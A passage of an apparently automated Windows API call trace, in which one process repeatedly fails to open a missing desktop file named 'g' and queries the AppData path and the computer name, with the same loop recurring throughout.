nSize=0x19f450) returned 1 [0223.010] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.010] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.010] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.010] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.010] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.010] CloseHandle (hObject=0x0) returned 0 [0223.010] CloseHandle (hObject=0xffffffff) returned 1 [0223.010] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.010] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.010] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.010] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.010] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.011] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.011] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.011] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.011] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.011] CloseHandle (hObject=0x0) returned 0 [0223.011] CloseHandle (hObject=0xffffffff) returned 1 [0223.011] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.011] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.011] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.011] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.011] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.011] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.011] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.011] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.011] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.011] CloseHandle (hObject=0x0) returned 0 [0223.011] CloseHandle (hObject=0xffffffff) returned 1 [0223.011] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.011] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.011] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.011] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.012] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.012] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.012] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.012] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.012] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.012] CloseHandle (hObject=0x0) returned 0 [0223.012] CloseHandle (hObject=0xffffffff) returned 1 [0223.012] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.012] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.012] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.012] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.012] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.012] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.012] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.012] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.012] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.012] CloseHandle (hObject=0x0) returned 0 [0223.012] CloseHandle (hObject=0xffffffff) returned 1 [0223.012] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.013] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.013] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.013] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.013] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.013] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.013] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.013] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.013] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.013] CloseHandle (hObject=0x0) returned 0 [0223.013] CloseHandle (hObject=0xffffffff) returned 1 [0223.013] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.013] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.013] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.013] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.013] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.013] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.013] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.013] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.013] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.013] CloseHandle (hObject=0x0) returned 0 [0223.014] CloseHandle (hObject=0xffffffff) returned 1 [0223.014] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.014] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.014] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.014] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.014] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.014] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.014] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.014] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.014] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.014] CloseHandle (hObject=0x0) returned 0 [0223.014] CloseHandle (hObject=0xffffffff) returned 1 [0223.014] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.014] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.014] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.014] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.014] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.014] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.014] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.014] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.015] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.015] CloseHandle (hObject=0x0) returned 0 [0223.015] CloseHandle (hObject=0xffffffff) returned 1 [0223.015] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.015] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.015] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.015] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.015] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.015] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.015] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.015] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.015] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.015] CloseHandle (hObject=0x0) returned 0 [0223.015] CloseHandle (hObject=0xffffffff) returned 1 [0223.015] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.015] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.015] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.015] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.015] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.015] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.016] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.016] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.016] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.016] CloseHandle (hObject=0x0) returned 0 [0223.016] CloseHandle (hObject=0xffffffff) returned 1 [0223.016] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.016] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.016] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.016] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.016] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.016] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.016] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.016] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.016] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.016] CloseHandle (hObject=0x0) returned 0 [0223.016] CloseHandle (hObject=0xffffffff) returned 1 [0223.016] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.016] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.016] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.016] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.016] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.017] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.017] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.017] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.017] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.017] CloseHandle (hObject=0x0) returned 0 [0223.017] CloseHandle (hObject=0xffffffff) returned 1 [0223.017] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.017] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.017] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.017] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.017] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.017] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.017] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.017] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.017] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.017] CloseHandle (hObject=0x0) returned 0 [0223.017] CloseHandle (hObject=0xffffffff) returned 1 [0223.017] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.017] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.018] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.018] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.018] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.018] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.018] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.018] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.018] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.018] CloseHandle (hObject=0x0) returned 0 [0223.018] CloseHandle (hObject=0xffffffff) returned 1 [0223.018] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.018] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.018] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.018] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.018] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.018] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.018] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.018] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.018] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.018] CloseHandle (hObject=0x0) returned 0 [0223.018] CloseHandle (hObject=0xffffffff) returned 1 [0223.018] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.019] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.019] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.019] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.019] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.019] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.019] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.019] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.019] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.019] CloseHandle (hObject=0x0) returned 0 [0223.019] CloseHandle (hObject=0xffffffff) returned 1 [0223.019] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.019] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.019] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.019] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.019] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.019] GetFileSize 